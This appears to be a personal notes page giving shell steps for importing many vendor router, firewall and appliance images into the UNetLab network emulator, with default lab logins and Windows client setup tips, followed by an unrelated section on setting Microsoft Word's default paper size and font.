# cd /opt/unetlab/addons/qemu/mikrotik-6.34.3
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 chr-6.34.3.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
L: admin

-to install nsvpx
# mkdir -p /opt/unetlab/addons/qemu/nsvpx-
scp into /opt/unetlab/addons/qemu/nsvpx-
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 NSVPX-ESX-11.0-55.20_nc-disk1.vmdk virtioa.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install olive
# mkdir -p /opt/unetlab/addons/qemu/olive-12.1R1.9
scp “Juniper JunOS Olive12.1R1.9 Virtualbox image.ova” into /opt/unetlab/addons/qemu/olive-12.1R1.9
# cd /opt/unetlab/addons/qemu/olive-12.1R1.9
# tar xf “Juniper JunOS Olive12.1R1.9 Virtualbox image.ova”
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 “JunOS Olive-disk1.vmdk” hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install ostinato
Download ost-drone-0.7-v1.qcow2 from
# mkdir /opt/unetlab/addons/qemu/ostinato-0.7-v1
scp ost-drone-0.7-v1.qcow2 into /opt/unetlab/addons/qemu/ostinato-0.7-v1
# cd /opt/unetlab/addons/qemu/ostinato-0.7-v1
# mv ost-drone-0.7-v1.qcow2 hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install paloalto
# mkdir -p /opt/unetlab/addons/qemu/PA-VM-ESX-7.0.1
scp PA-VM-ESX-6.1.0.ova into /opt/unetlab/addons/qemu/paloalto-7.0.1
# cd /opt/unetlab/addons/qemu/paloalto-7.0.1
# tar xf PA-VM-ESX-7.0.1 .ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 PA-VM-ESX-7.0.1-disk1.vmdk virtioa.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions


PA in UNL no need license but no URL and threat signature updates, as well as fewer sessions through the firewall

-to install radware
download alteon radware from
Icon: Load Balancer.png
CPU: 2 (minimum)
RAM: 2560MB (minimum)
Ethernets: 3 (minimum)
console: VNC (since telnet won’t work)
# mkdir /opt/unetlab/addons/qemu/linux-radware
scp AlteonOS-30A-5-0-0.ova into /opt/unetlab/addons/qemu/linux-radware
# cd /opt/unetlab/addons/qemu/linux-radware
# tar xf AlteonOS-30-5-0-0.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 AlteonOS- virtioa.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
Enter password: admin

-to install riverbed
# mkdir /opt/unetlab/addons/qemu/riverbed-vcx9.2.0/
scp image_rbt_vcx_9_2_0_n8_x86_64.ova into /opt/unetlab/addons/qemu/riverbed-vcx9.2.0/
# cd /opt/unetlab/addons/qemu/riverbed-vcx9.2.0/
# tar xf image_rbt_vcx_9_2_0_n8_x86_64.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 image-vcx-disk1.vmdk virtioa.qcow2
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 image-vcx-disk2.vmdk virtiob.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
L: admin
P: password
disregard cdrom complain when booting

it will probably boot 2x when power on for the first time and will take around 15min to get login prompt

-to install sophos XG
download latest sophos XG KVM from
# mkdir -p /opt/unetlab/addons/qemu/sophos-16.05
scp into /opt/unetlab/addons/qemu/sophos-16.05
# cd /opt/unetlab/addons/qemu/sophos-16.05
# unzip
# mv PRIMARY-DISK.qcow2 hda.qcow2
# mv AUXILIARY-DISK.qcow2 hdb.qcow2
# rm
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
# cd /opt/unetlab/html/templates
# cp cpsg.php sophos.php
# sed -i ‘s/cpsg/sophos/g’ sophos.php
# sed -i ‘s/CP/sophos/g’ sophos.php
# cd ../includes
# vi init.php
‘sophos’ => ‘Sophos’,
after sterra line
LAN IP: (default) port1
WAN IP: dhcp port2
L: admin
P: admin

-to install sourcefire
download from Cisco Cisco_Firepower_Management_Center_Virtual-6.1.0-330.qcow2
# mkdir -p /opt/unetlab/addons/qemu/sourcefire-6.1.0-330
scp Cisco_Firepower_Management_Center_Virtual-6.1.0-330.qcow2 into /opt/unetlab/addons/qemu/sourcefire-6.1.0-330
# cd /opt/unetlab/addons/qemu/sourcefire-6.1.0-330
# mv Cisco_Firepower_Management_Center_Virtual-6.1.0-330.qcow2 virtioa.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install timos
# mkdir -p /opt/unetlab/addons/qemu/timos-12.0.R6
scp into /opt/unetlab/addons/qemu/timos-12.0.R6
# cd /opt/unetlab/addons/qemu/timos-12.0.R6
# mv TiMOS-SR-12.0.R6-vm/vm/7xxx-i386/sros-vm.qcow2 hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install titanium
# mkdir -p /opt/unetlab/addons/qemu/titanium-7
scp hda.qcow2 into /opt/unetlab/addons/qemu/titanium-7
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install coeus
# mkdir -p /opt/unetlab/addons/qemu/coeus-
scp into /opt/unetlab/addons/qemu/coeus-
# cd /opt/unetlab/addons/qemu/coeus-
# unzip
# mv coeus-9-0-0-324-S100V/coeus-9-0-0-324-S100V-disk1.vmdk ..
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 coeus-9-0-0-324-S100V-disk1.vmdk virtioa.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
# vi /opt/unetlab/html/templates/coeus.php
$p[‘console’] = ‘telnet’;
$p[‘console’] = ‘vnc’;

-to install vios
# mkdir -p /opt/unetlab/addons/qemu/vios-adventerprisek9-m-15.5
# mkdir -p /opt/unetlab/addons/qemu/viosl2-adventerprisek9-m-15.2
scp vIOS-L3.qcow2 into /opt/unetlab/addons/qemu/vios-adventerprisek9-m-15.5
scp vIOS-L2.qcow2 into /opt/unetlab/addons/qemu/viosl2-adventerprisek9-m-15.2
# cd /opt/unetlab/addons/qemu/vios-adventerprisek9-m-15.5
# mv vIOS-L3.qcow2 hda.qcow2
# cd /opt/unetlab/addons/qemu/viosl2-adventerprisek9-m-15.2
# mv vIOS-L2.qcow2 hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install vmx
# mkdir -p /opt/unetlab/addons/qemu/vmx-1.0
scp vMX.ova into /opt/unetlab/addons/qemu/vmx-1.0
# cd /opt/unetlab/addons/qemu/vmx-1.0
# tar xf vMX.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 vMX-disk1.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
NOTE: to speed up vmx
# vi /opt/unetlab/html/templates/vmx.php
$p[‘qemu_options’] = ‘ -serial mon:stdio -nographic’;
$p[‘qemu_options’] = ‘ -serial mon:stdio -nographic -enable-kvm’;

-to install vnam
# mkdir -p /opt/unetlab/addons/qemu/vnam-6.1.1
scp nam-app-x86_64.6-1-1.ova and nam-app-x86_64.6-1-1.iso into /opt/unetlab/addons/qemu/vnam-6.1.1
# cd /opt/unetlab/addons/qemu/vnam-6.1.1
# tar xf nam-app-x86_64.6-1-1.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 NAM-VX-6.1-disk1.vmdk hda.qcow2
# mv nam-app-x86_64.6-1-1.iso cdrom.iso
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

From UnetLab gui, Start vnam icon
Main menu
1 – Download application image and write to HDD
2 – Download application image and reformat HDD
3 – Install application image from CD and reformat HDD
4 – Display software versions
5 – Reset application image CLI passwords to default
6 – Send Ping
f – Check for and fix file system errors on local disk
s – Show upgrade log
n – Configure network
r – Exit and reset Services Engine
h – Exit and shutdown Services Engine
Selection [123456fsnrh]:

I have black screen problem with vnam 6.2.1. So I use 6.1.1 instead
Any idea what to do next after do you see menu above?

-to install vsrx
# mkdir -p /opt/unetlab/addons/qemu/vsrx-12.1X46-D10.2-domestic
scp junos-vsrx-12.1X46-D10.2-domestic.ova into /opt/unetlab/addons/qemu/vsrx-12.1X46-D10.2-domestic
# cd /opt/unetlab/addons/qemu/vsrx-12.1X46-D10.2-domestic
# tar xf junos-vsrx-12.1X46-D10.2-domestic.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 junos-vsrx-12.1X46-D10.2-domestic-disk1.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install vsrxng
for vSRX-NG can be downloaded here
# mkdir -p /opt/unetlab/addons/qemu/vsrxng-151x49d406
scp media-vsrx-vmdisk-15.1X49-D40.6.qcow2 into /opt/unetlab/addons/qemu/vsrxng-151x49d406
# cd /opt/unetlab/addons/qemu/vsrxng-151x49d406
# mv media-vsrx-vmdisk-15.1X49-D40.6.qcow2 virtioa.qcow2

# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install vwaas
download vwaas from
# mkdir -p /opt/unetlab/addons/qemu/vwaas-200-5.5.3
scp virtioa.qcow2 into /opt/unetlab/addons/qemu/vwaas-200-5.5.3
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
L: admin

-to install vwlc
# mkdir -p /opt/unetlab/addons/qemu/vwlc-
scp AIR-CTVM-K9-8-1-102-0.ova and AIR-CTVM-k9-8-1-102-0.iso into /opt/unetlab/addons/qemu/vwlc-
# cd /opt/unetlab/addons/qemu/vwlc-
# tar xf AIR-CTVM-K9-8-1-102-0.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 AS_CTVM_8_1_102_0.vmdk hda.qcow2
# mv AIR-CTVM-k9-8-1-102-0.iso cdrom.iso
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions


-to install tinylinux
change dsl-4-4-10.doc to dsl-4-4-10.ova
ssh as root to unetlab server
# mkdir -p /opt/unetlab/addons/qemu/linux-dsl
# cd /opt/unetlab/addons/qemu/linux-dsl
scp dsl-4-4-10.ova into /opt/unetlab/addons/qemu/linux-dsl
# tar xf dsl-4-4-10.ova
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 DSL-4.4.10-disk1.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
open UnetLab gui and add linux linux-dsl node
L: root

P: Password123!@#

-to install slitaz
download slitaz from
extract it in your pc
# mkdir -p /opt/unetlab/addons/qemu/linux-slitaz-3.0
scp slitaz-3.0-x86.vdi into /opt/unetlab/addons/qemu/linux-slitaz-3.0
# cd /opt/unetlab/addons/qemu/linux-slitaz-3.0
# qemu-img convert -f vdi -O qcow2 slitaz-3.0-x86.vdi hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
L: root
P: root

-to install win win7
install WIN7 in ESXi
update all patches
do not install vmware-tools

ssh to ESXi server and cd to WIN7 directory
# cd /vmfs/volumes/datastore1/WIN7
# scp WIN7.vmdk root@
# scp WIN7-flat.vmdk root@

ssh as root to unetlab server
# cd /opt/unetlab/addons/qemu/win-win7
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 WIN7.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
open UnetLab gui and add win win-win7 node

-to install xrv
# mkdir -p /opt/unetlab/addons/qemu/xrv-k9-5.2.2
scp hda.qcow2 into /opt/unetlab/addons/qemu/xrv-k9-5.2.2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions

-to install vyos
copy to unetlab
# mkdir -p /opt/unetlab/addons/qemu/vyos-117
# cd /opt/unetlab/addons/qemu/vyos-117
# /opt/qemu/bin/qemu-img convert -f vmdk -O qcow2 VyOS-1.1.7-signed-disk1.vmdk hda.qcow2
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
L: vyos

P: vyos

-to install zeroshell
Download zeroshell iso from
# mkdir -p /opt/unetlab/addons/qemu/linux-zeroshell
scp ZeroShell-3.3.2.iso into /opt/unetlab/addons/qemu/linux-zeroshell
# cd /opt/unetlab/addons/qemu/linux-zeroshell
# mv ZeroShell-3.3.2.iso cdrom.iso
# /opt/qemu/bin/qemu-img create -f qcow hda.qcow2 5G
# /opt/unetlab/wrappers/unl_wrapper -a fixpermissions
I then added a new node to a test lab I had on the go, and fired it up. Once connected via VNC, you can then install it to the hard drive, by selecting option A from the menu:
Just accept all the defaults
# mv cdrom.iso ZeroShell-3.3.2.iso
from unetlab gui stop the node and start again

-to upgrade VMware-Tools
mount iso on datastore
click CD-ROM icon on ESXi console
click CD DVD drive 1/Connect to iso image on a datastore
open vmimages/tools-isoimages/linux.iso
# mkdir /mnt/cdrom
# mount /dev/cdrom /mnt/cdrom/
# tar xzvf /mnt/cdrom/VMwareTools-9.10.0-2476743.tar.gz -C /tmp/
# cd /tmp/vmware-tools-distrib
# perl
Do you still want to proceed with this legacy installer? [yes]
Uninstallation of previous install failed. Would you like to remove the install DB? [no] yes
# perl -d

-Log location
# cat /opt/unetlab/data/Logs/

-download and install UltraVNC from
-download and install Wireshark from
-download and extract http://UNLip/files/
copy UNetLab into c:\Program Files
copy ultravnc_wrapper.bat into C:\Program Files\uvnc bvba\UltraVNC
run win7_64bit_ultravnc.reg
run win7_64bit_putty.reg

run win7_64bit_wireshark.reg

-to open multiple tab session in SecureCRT
run win7_64bit_crt.reg
edit C:\Users\username\AppData\Roaming\VanDyke\Config\Global.ini
D:”Single Instance”=00000000

D:”Single Instance”=00000001

-to open multiple tab with SuperPutty
   download and install SuperPutty from
   open SuperPutty and tick Tools/Options/Advanced/Only allow single instance of SuperPuTTYy to run
   create SuperPutty.reg
Windows Registry Editor Version 5.00
@=”URL:Telnet Protocol”
“URL Protocol”=””

@=”\”C:\\Program Files (x86)\\SuperPuTTY\\SuperPutty.exe\” %1″

go to and Sign-in with
L: admin
P: unl

-to connect unetlab to the cloud

-to rename a lab file
clone or open existing file
click More Actions/Edit lab

change the Name

-to convert VirtualBox vdi to qcow2 format

# /opt/qemu/bin/qemu-img convert -f vdi -O qcow2 vm.vdi vm.qcow2

-cisco CSR 1000v take 2.5GB RAM per node, if you want less ram, use L3-ADVENTERPRISEK9-M-15.4-2T.bin instead

Set Office default paper size and font

For Microsoft Office Word 2007/2010/2013

* On Page Layout tab, click Size/More Paper Sizes option under Size to get the following dialogue, click on paper tab

Set your required paper size (A4 in this case) in there.
Then don’t forget to click on Default button on the left bottom corner, you will get a, as shown above. Select Yes. And you are done.
From now on, you’ll get default page size as A4, when you open MS Office word.

To change default font:
-press Ctrl+Shift+S
Style Name: Normal
click Modify
Change as needed
click New document based on this template